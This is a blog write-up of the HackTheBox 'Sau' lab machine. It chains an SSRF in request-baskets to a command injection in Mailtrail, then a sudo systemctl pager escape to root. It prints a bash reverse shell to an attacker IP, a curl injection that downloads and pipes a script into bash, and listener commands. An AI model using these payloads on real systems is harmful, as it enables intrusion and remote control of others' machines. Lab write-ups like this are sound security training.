All writeups

Sau

Easy HackTheBox Completed
EnumerationWebSSRFRCEPrivescLinux

1 April 2026

HackTheBox — Sau (Easy)

Recon

Started with a full port scan, like always:

nmap -sC -sV -p- -oN sau_full.nmap 10.10.11.224

Three things came back: 22 (SSH), 80 as filtered, and 55555 running a Golang HTTP server.

That filtered on 80 sent me the wrong way first — I assumed firewall and spent a while poking at whether I could reach it over SSH, which went nowhere. Should have just looked at 55555 straight away.

55555 was running request-baskets v1.2.1, a tool that spins up throwaway HTTP endpoints ("baskets") and captures requests. Never seen it before. Searched the version and CVE-2023-27163 came up right away: an SSRF where you point a basket's forward_url at an internal address and get the response proxied back. Which made that filtered port 80 suddenly worth a look.

Foothold

Made a basket in the UI on 55555 with forward_url set to http://127.0.0.1:80 and proxy_response on. First try did nothing because I had forgotten to tick proxy_response — only after a second basket did the internal response come back. It identified itself as Mailtrail v0.53.

Mailtrail v0.53 has an unauth command injection in the login form's username — it goes straight into a shell command unsanitized. Set up a reverse shell:

# shell.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.5/9001 0>&1
python3 -m http.server 8000
nc -lvnp 9001

Then fired the injection through the SSRF basket:

curl 'http://10.10.11.224:55555/<basket_id>/login' \
  --data 'username=;curl+http://10.10.14.5:8000/shell.sh|bash'

The ; breaks out of the original command, pulls shell.sh and pipes it into bash. Shell as puma, and user.txt.

Privesc

sudo -l first:

puma@sau:~$ sudo -l
User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service

systemctl status opens a pager (less) once the output is taller than the terminal, and since it runs as root via sudo, the pager runs as root too. In less you can spawn a shell with !sh:

puma@sau:~$ sudo /usr/bin/systemctl status trail.service
!sh

Root shell, root.txt. (Also on GTFOBins under systemctl.)

What I took away

That filtered port 80 wasn't a dead-end, it was a hint — an SSRF on the same host makes network filtering pointless. And the sudo rule on systemctl status looked harmless until I realised the pager tags along. Mostly this cost me time because I missed proxy_response; next time double-check the config before I go debugging.

Want to try this CTF challenge yourself? Click here
🔒 Protect your IP while hacking — use a VPN NordVPN →
🚩 New to CTF? TryHackMe is perfect for beginners TryHackMe →